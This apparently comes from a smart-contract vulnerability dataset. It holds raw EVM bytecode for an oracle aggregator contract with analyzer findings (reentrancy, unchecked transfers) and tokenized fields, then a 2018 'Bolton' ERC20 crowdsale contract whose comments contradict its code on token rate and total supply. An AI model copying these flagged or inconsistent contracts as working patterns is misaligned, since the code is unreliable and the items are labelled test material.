fffffffffffffffffffffffffffff1916908160001a905350600101613588565b5083604001515167ffffffffffffffff8111801561360d57600080fd5b506040519080825280601f01601f191660200182016040528015613638576020820181803683370190505b506020850152613646615b8d565b60005b8560400151518160ff16101561374c576000858260ff166020811061366a57fe5b1a90508281601f811061367957fe5b6020020151156136d0576040805162461bcd60e51b815260206004820152601760248201527f6f6273657276657220696e646578207265706561746564000000000000000000604482015290519081900360640190fd5b6001838260ff16601f81106136e157fe5b91151560209283029190910152869060ff84169081106136fd57fe5b1a60f81b87602001518360ff168151811061371457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535050600101613649565b503360009081526028602090815260408083208151808301909252805460ff8082168452929391929184019161010090910416600281111561378a57fe5b600281111561379557fe5b90525090506002816020015160028111156137ac57fe5b1480156137e05750602a816000015160ff16815481106137c857fe5b6000918252602090912001546001600160a01b031633145b613831576040805162461bcd60e51b815260206004820152601860248201527f756e617574686f72697a6564207472616e736d69747465720000000000000000604482015290519081900360640190fd5b5050835164ffffffffff90911660209091015250506040516000908a908a9080838380828437604051920182900390912094506138729350615b8d92505050565b61387a615bac565b60005b89811015613a915760006001858760600151848151811061389a57fe5b60209101015160f81c601b018e8e868181106138b257fe5b905060200201358d8d878181106138c557fe5b9050602002013560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015613920573d6000803e3d6000fd5b5050604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08101516001600160a01b03811660009081526028602090815290849020838501909452835460ff8082168552929650929450840191610100900416600281111561398d57fe5b600281111561399857fe5b90525092506001836020015160028111156139af57fe5b14613a01576040805162461bcd60e51b815260206004820152601e60248201527f61646472657373206e6f7420617574686f72697a656420746f207369676e0000604482015290519081900360640190fd5b8251849060ff16601f8110613a1257fe5b602002015115613a69576040805162461bcd60e51b815260206004820152601460248201527f6e6f6e2d756e69717565207369676e6174757265000000000000000000000000604482015290519081900360640190fd5b600184846000015160ff16601f8110613a7e57fe5b911515602090920201525060010161387d565b5050505060005b600182604001515103811015613b4257600082604001518260010181518110613abd57fe5b602002602001015160170b83604001518381518110613ad857fe5b602002602001015160170b1315905080613b39576040805162461bcd60e51b815260206004820152601760248201527f6f62736572766174696f6e73206e6f7420736f72746564000000000000000000604482015290519081900360640190fd5b50600101613a98565b50604081015180516000919060028104908110613b5b57fe5b602002602001015190508060170b7f000000000000000000000000000000000000000000000000000000000000000060170b13158015613bc157507f0000000000000000000000000000000000000000000000000de0b6b3a764000060170b8160170b13155b613c12576040805162461bcd60e51b815260206004820152601e60248201527f6d656469616e206973206f7574206f66206d696e2d6d61782072616e67650000604482015290519081900360640190fd5b81516060908101805163ffffffff60019091018116909152604080518082018252601785810b80835267ffffffffffffffff42811660208086019182528a5189015188166000908152602c82528781209651875493519094167801000000000000000000000000000000000000000000000000029390950b77ffffffffffffffffffffffffffffffffffffffffffffffff9081167fffffffffffffffff0000000000000000000000000000000000000000000000009093169290921790911691909117909355875186015184890151848a01516080808c015188519586523386890181905291860181905260a0988601898152845199870199909952835194909916997ff6a97944f31ea060dfde0566e4167c1a1082551e64b60ecb14d599a9d023d451998c999298949793969095909492939185019260c086019289820192909102908190849084905b83811015613d75578181015183820152602001613d5d565b50505050905001838103825285818151815260200191508051906020019080838360005b83811015613db1578181015183820152602001613d99565b50505050905090810190601f168015613dde5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a281516060015160408051428152905160009263ffffffff16917f0109fc6f55cf40689f02fbaad7af7fe7bbac8a3d2186600afc7d3e10cac60271919081900360200190a381600001516060015163ffffffff168160170b7f0559884fd3a460db3073b7fc896cc77986f16e378210ded43186175bf646fc5f426040518082815260200191505060405180910390a3613e938260000151606001518260170b61557a565b5080518051602b8054602084015160408501516060909501517fffffffffffffffffffffffffffffffff0000000000000000000000000000000090921660809490941c939093177fffffffffffffffffffffff0000000000ffffffffffffffffffffffffffffffff1670010000000000000000000000000000000064ffffffffff90941693909302929092177fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16750100000000000000000000000000000000000000000060ff90941693909302929092177fffffffffffff00000000ffffffffffffffffffffffffffffffffffffffffffff1676010000000000000000000000000000000000000000000063ffffffff92831602179091558210613fb457fe5b613fc28282602001516156ba565b505050505050505050565b600354604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561403657600080fd5b505afa15801561404a573d6000803e3d6000fd5b505050506040513d602081101561406057600080fd5b50519050600061406e61537b565b90910391505090565b60315460ff1681565b6001600160a01b03811660009081526028602090815260408083208151808301909252805460ff8082168452859484019161010090041660028111156140c257fe5b60028111156140cd57fe5b90525090506000816020015160028111156140e457fe5b14156140f4576000915050610f0e565b60016005826000015160ff16601f811061410a57fe5b601091828204019190066002029054906101000a900461ffff1603915050919050565b600080808080333214614187576040805162461bcd60e51b815260206004820152601460248201527f4f6e6c792063616c6c61626c6520627920454f41000000000000000000000000604482015290519081900360640190fd5b5050602b5463ffffffff760100000000000000000000000000000000000000000000820481166000908152602c6020526040902054608083901b96700100000000000000000000000000000000909304600881901c909216955064ffffffffff9091169350601781900b92507801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b6003546001600160a01b031690565b6000546001600160a01b0316331461428a576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60408051808201909152602e546001600160a01b038082168084527401000000000000000000000000000000000000000090920463ffffffff16602084015284161415806142e857508163ffffffff16816020015163ffffffff1614155b156143bb576040805180820182526001600160a01b0385811680835263ffffffff8681166020948501819052602e80547fffffffffffffffffffffffff00000000000000000000000000000000000000001684177fffffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000008302179055865187860151875193168352948201528451919493909216927fb04e3a37abe9c0fcdfebdeae019a8e2b12ddf53f5d55ffb0caccc1bedaca1541928290030190a35b505050565b6001600160a01b0382811660009081526007602052604090205416331461442e576040805162461bcd60e51b815260206004820152601d60248201527f6f6e6c792063757272656e742070617965652063616e20757064617465000000604482015290519081900360640190fd5b336001600160a01b038216141561448c576040805162461bcd60e51b815260206004820152601760248201527f63616e6e6f74207472616e7366657220746f2073656c66000000000000000000604482015290519081900360640190fd5b6001600160a01b03808316600090815260086020526040902080548383167fffffffffffffffffffffffff0000000000000000000000000000000000000000821681179092559091169081146143bb576040516001600160a01b038084169133918616907f84f7c7c80bb8ed2279b4aab5f61cd05e6374073d38f46d7f32de8c30e9e3836790600090a4505050565b6000546001600160a01b0316331461457a576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383811691821790925560008054604051929316917fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae12789190a350565b6000546001600160a01b03163314614642576040805162461bcd60e51b815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b61229081615907565b6000806000806000614694336000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611df992505050565b6146e5576040805162461bcd60e51b815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6146ed615996565b945094509450945094509091929394565b6040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116838501526c0100000000000000000000000082048116606084015270010000000000000000000000000000000090910416608082015260035482516103e081019384905291926001600160a01b0390911691600091600590601f908285855b82829054906101000a900461ffff1661ffff1681526020019060020190602082600101049283019260010382029150808411614791575050604080516103e0810191829052959650600095945060099350601f9250905082845b8154815260200190600101908083116147eb57505050505090506000602a80548060200260200160405190810160405280929190818152602001828054801561485d57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161483f575b5050505050905060005b8151811015614a9257600060018483601f811061488057fe5b6020020151039050600060018684601f811061489857fe5b60200201510361ffff169050600082896060015163ffffffff168302633b9aca00020190506000811115614a87576000600760008787815181106148d857fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060009054906101000a90046001600160a01b03169050886001600160a01b031663a9059cbb82846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561496d57600080fd5b505af1158015614981573d6000803e3d6000fd5b505050506040513d602081101561499757600080fd5b50516149ea576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b60018886601f81106149f857fe5b61ffff909216602092909202015260018786601f8110614a1457fe5b602002018181525050886001600160a01b0316816001600160a01b0316878781518110614a3d57fe5b60200260200101516001600160a01b03167fd0b1dac935d85bd54cf0a33b0d41d39f8cf53a968465fc7ea2377526b8ac712c856040518082815260200191505060405180910390a4505b505050600101614867565b50614aa0600584601f615bc3565b50612d95600983601f615c59565b602b54760100000000000000000000000000000000000000000000900463ffffffff166000908152602c6020526040902054601790810b900b90565b6001600160a01b03811660009081526028602090815260408083208151808301909252805460ff80821684529293919291840191610100909104166002811115614b3057fe5b6002811115614b3b57fe5b90525090506000614b4b83610dc8565b905080156143bb576001600160a01b0380841660009081526007602090815260408083205460035482517fa9059cbb000000000000000000000000000000000000000000000000000000008152918616600483018190526024830188905292519295169363a9059cbb9360448084019491939192918390030190829087803b158015614bd657600080fd5b505af1158015614bea573d6000803e3d6000fd5b505050506040513d6020811015614c0057600080fd5b5051614c53576040805162461bcd60e51b815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b60016005846000015160ff16601f8110614c6957fe5b601091828204019190066002026101000a81548161ffff021916908361ffff16021790555060016009846000015160ff16601f8110614ca457fe5b01556003546040805184815290516001600160a01b039283169284811692908816917fd0b1dac935d85bd54cf0a33b0d41d39f8cf53a968465fc7ea2377526b8ac712c9181900360200190a450505050565b60008a8a8a8a8a8a8a8a8a8a604051602001808b6001600160a01b031681526020018a67ffffffffffffffff16815260200180602001806020018760ff1681526020018667ffffffffffffffff1681526020018060200184810384528c8c82818152602001925060200280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810384528a8152602090810191508b908b0280828437600083820152601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690910185810383528681526020019050868680828437600081840152601f19601f8201169050808301925050509d50505050505050505050505050506040516020818303038152906040528051906020012090509a9950505050505050505050565b602b54760100000000000000000000000000000000000000000000900463ffffffff1690565b6001600160a01b03821660009081526032602052604081205460ff1680611e1857505060315460ff161592915050565b60308054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156120d55780601f10614f0b576101008083540402835291602001916120d5565b820191906000526020600020905b815481529060010190602001808311614f1957509395945050505050565b602b54760100000000000000000000000000000000000000000000900463ffffffff166000908152602c60205260409020547801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b600080600080600063ffffffff8669ffffffffffffffffffff1611156040518060400160405280600f81526020017f4e6f20646174612070726573656e7400000000000000000000000000000000008152509061506d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561503257818101518382015260200161501a565b50505050905090810190601f16801561505f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050505063ffffffff83166000908152602c6020908152604091829020825180840190935254601781810b810b810b808552780100000000000000000000000000000000000000000000000090920467ffffffffffffffff1693909201839052949594900b939092508291508490565b6001600160a01b03811660009081526032602052604090205460ff16612290576001600160a01b03811660008181526032602090815260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055815192835290517f87286ad1f399c8e82bf0c4ef4fcdc570ea2e1e92176e5c848b6413545b885db49281900390910190a150565b600063ffffffff82111561518c57506000610f0e565b5063ffffffff166000908152602c6020526040902054601790810b900b90565b600063ffffffff8211156151c257506000610f0e565b5063ffffffff166000908152602c60205260409020547801000000000000000000000000000000000000000000000000900467ffffffffffffffff1690565b6040805160a0808201835263ffffffff88811680845288821660208086018290528984168688018190528985166060808901829052958a166080988901819052600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001687177fffffffffffffffffffffffffffffffffffffffffffffffff00000000ffffffff166401000000008702177fffffffffffffffffffffffffffffffffffffffff00000000ffffffffffffffff16680100000000000000008502177fffffffffffffffffffffffffffffffff00000000ffffffffffffffffffffffff166c010000000000000000000000008402177fffffffffffffffffffffffff00000000ffffffffffffffffffffffffffffffff16700100000000000000000000000000000000830217905589519586529285019390935283880152928201529283015291517fd0d9486a2c673e2a4b57fc82e4c8a556b3e2b82dd5db07e2c04a920ca0f469b6929181900390910190a15050505050565b604080516103e0810191829052600091829190600590601f908285855b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116153985790505050505050905060005b601f8110156154085760018282601f81106153f157fe5b60200201510361ffff1692909201916001016153da565b506040805160a08101825260025463ffffffff8082168352640100000000820481166020808501919091526801000000000000000083048216848601526c0100000000000000000000000083048216606085018190527001000000000000000000000000000000009093049091166080840152602a805485518184028101840190965280865296909202633b9aca00029592936000939092918301828280156154da57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116154bc575b5050604080516103e0810191829052949550600094935060099250601f915082845b8154815260200190600101908083116154fc575050505050905060005b82518110156155435760018282601f811061553057fe5b6020020151039590950194600101615519565b505050505090565b60008183101561555c575081611e1b565b50919050565b602083810286019082020160e4019695505050505050565b60408051808201909152602e546001600160a01b0381168083527401000000000000000000000000000000000000000090910463ffffffff1660208301526155c257506112d8565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff830163ffffffff8181166000818152602c602090815260408083205487518884015183517fbeed9b510000000000000000000000000000000000000000000000000000000081526004810197909752601792830b90920b602487018190528b88166044880152606487018b9052925192966001600160a01b039091169563beed9b51959290911693608480830194919391928390030190829088803b15801561568b57600080fd5b5087f1935050505080156156b157506040513d60208110156156ac57600080fd5b505160015b612d95576128a7565b3360009081526028602090815260408083208151808301909252805460ff808216845292939192918401916101009091041660028111156156f757fe5b600281111561570257fe5b9052506040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116838501526c0100000000000000000000000082048116606084015270010000000000000000000000000000000090910416608082015281516103e0810192839052929350916157d291859190600590601f90826000855b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116157905790505050505050615a1a565b6157e090600590601f615bc3565b506002826020015160028111156157f357fe5b14615845576040805162461bcd60e51b815260206004820181905260248201527f73656e7420627920756e64657369676e61746564207472616e736d6974746572604482015290519081900360640190fd5b600061586c633b9aca003a04836020015163ffffffff16846000015163ffffffff16615a8f565b90506010360260005a9050600061588b8863ffffffff16858585615ab5565b6fffffffffffffffffffffffffffffffff1690506000620f4240866040015163ffffffff168302816158b957fe5b049050856080015163ffffffff16633b9aca0002816009896000015160ff16601f81106158e257fe5b015401016009886000015160ff16601f81106158fa57fe5b0155505050505050505050565b6004546001600160a01b0390811690821681146112d857600480547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03848116918217909255604080519284168352602083019190915280517f793cb73064f3c8cde7e187ae515511e6e56d1ee89bf08b82fa60fb70f8d489129281900390910190a15050565b602b54760100000000000000000000000000000000000000000000900463ffffffff166000818152602c6020908152604091829020825180840190935254601781810b810b810b808552780100000000000000000000000000000000000000000000000090920467ffffffffffffffff1693909201839052929392900b9181908490565b615a22615b8d565b60005b8351811015615a87576000848281518110615a3c57fe5b016020015160f81c9050615a618482601f8110615a5557fe5b60200201516001615b41565b848260ff16601f8110615a7057fe5b61ffff909216602092909202015250600101615a25565b509092915050565b60008383811015615aa257600285850304015b615aac818461554b565b95945050505050565b600081851015615b0c576040805162461bcd60e51b815260206004820181905260248201527f6761734c6566742063616e6e6f742065786365656420696e697469616c476173604482015290519081900360640190fd5b818503830161179301633b9aca00858202026fffffffffffffffffffffffffffffffff8110615b3757fe5b9695505050505050565b6000611e188261ffff168461ffff160161ffff61554b565b6040518060a00160405280615b6c615c87565b81526060602082018190526040820181905280820152600060809091015290565b604051806103e00160405280601f906020820280368337509192915050565b604080518082019091526000808252602082015290565b600283019183908215615c495791602002820160005b83821115615c1957835183826101000a81548161ffff021916908361ffff1602179055509260200192600201602081600101049283019260010302615bd9565b8015615c475782816101000a81549061ffff0219169055600201602081600101049283019260010302615c19565b505b50615c55929150615cae565b5090565b82601f8101928215615c49579160200282015b82811115615c49578251825591602001919060010190615c6c565b60408051608081018252600080825260208201819052918101829052606081019190915290565b5b80821115615c555760008155600101615caf56fe416363657373436f6e74726f6c6c65644f6666636861696e41676772656761746f7220332e302e306f7261636c6520616464726573736573206f7574206f6620726567697374726174696f6ea2646970667358221220757bff216f6d81152fcaa510caac9632619adc3b29bcb61ba73c0af8d453fb2864736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "array-by-reference", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'array-by-reference', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2850,
22203,
2575,
17134,
2692,
2575,
2581,
2683,
2620,
2487,
4246,
16068,
2575,
2683,
26976,
2683,
28154,
2683,
2549,
14141,
2620,
2497,
17134,
10790,
2546,
2575,
2094,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1015,
1025,
12324,
1000,
1012,
1013,
2125,
24925,
2532,
13871,
2890,
20697,
2953,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
16325,
13775,
6305,
9623,
9363,
3372,
26611,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
5060,
10236,
4842,
1997,
2125,
24925,
2532,
13871,
2890,
20697,
2953,
2029,
14148,
3191,
3229,
2006,
24089,
1011,
8278,
4725,
1008,
1013,
3206,
3229,
8663,
13181,
11001,
7245,
24925,
2532,
13871,
2890,
20697,
2953,
2003,
2125,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,498 | 0x953ddc4a817d954fbf5cfb33c9454fddd865abed | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Bolton First Credit' CROWDSALE token contract
//
// Deployed to : 0x953ddc4a817d954fbf5cfb33c9454fddd865abed
// Symbol : BFCL
// Name : Bolton
// Total supply: 1663000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Roberto Diomedi - Bolton Holding Limited June 2018. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Bolton is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Bolton() public {
symbol = "BFCL";
name = "Bolton";
decimals = 18;
bonusEnds = now + 28 weeks;
endDate = now + 133 weeks;
_totalSupply = 500000000000000000000000000;
balances[0xd0997F80aeA911C01D5D8C7E34e7A937226a360c] = _totalSupply;
Transfer(address(0), 0xd0997F80aeA911C01D5D8C7E34e7A937226a360c, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// 100 BFCL Tokens per 1 ETH
// ------------------------------------------------------------------------
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 360;
} else {
tokens = msg.value * 300;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146102b6578063095ea7b3146103465780630b97bc86146103ab57806318160ddd146103d657806323b872dd14610401578063313ce567146104865780633eaaf86b146104b757806340c65003146104e257806370a082311461050d57806379ba5097146105645780638da5cb5b1461057b57806395d89b41146105d2578063a9059cbb14610662578063c24a0f8b146106c7578063cae9ca51146106f2578063d4ee1d901461079d578063dc39d06d146107f4578063dd62ed3e14610859578063f2fde38b146108d0575b6000600654421015801561011d57506008544211155b151561012857600080fd5b6007544211151561013f5761016834029050610147565b61012c340290505b610190600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610913565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506101df60055482610913565b6005819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102b2573d6000803e3d6000fd5b5050005b3480156102c257600080fd5b506102cb61092f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030b5780820151818401526020810190506102f0565b50505050905090810190601f1680156103385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035257600080fd5b50610391600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cd565b604051808215151515815260200191505060405180910390f35b3480156103b757600080fd5b506103c0610abf565b6040518082815260200191505060405180910390f35b3480156103e257600080fd5b506103eb610ac5565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b5061046c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b10565b604051808215151515815260200191505060405180910390f35b34801561049257600080fd5b5061049b610da0565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104c357600080fd5b506104cc610db3565b6040518082815260200191505060405180910390f35b3480156104ee57600080fd5b506104f7610db9565b6040518082815260200191505060405180910390f35b34801561051957600080fd5b5061054e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbf565b6040518082815260200191505060405180910390f35b34801561057057600080fd5b50610579610e08565b005b34801561058757600080fd5b50610590610fa7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b506105e7610fcc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062757808201518184015260208101905061060c565b50505050905090810190601f1680156106545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066e57600080fd5b506106ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106a565b604051808215151515815260200191505060405180910390f35b3480156106d357600080fd5b506106dc6111f3565b6040518082815260200191505060405180910390f35b3480156106fe57600080fd5b50610783600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506111f9565b604051808215151515815260200191505060405180910390f35b3480156107a957600080fd5b506107b2611448565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080057600080fd5b5061083f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061146e565b604051808215151515815260200191505060405180910390f35b34801561086557600080fd5b506108ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d2565b6040518082815260200191505060405180910390f35b3480156108dc57600080fd5b50610911600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611659565b005b6000818301905082811015151561092957600080fd5b92915050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109c55780601f1061099a576101008083540402835291602001916109c5565b820191906000526020600020905b81548152906001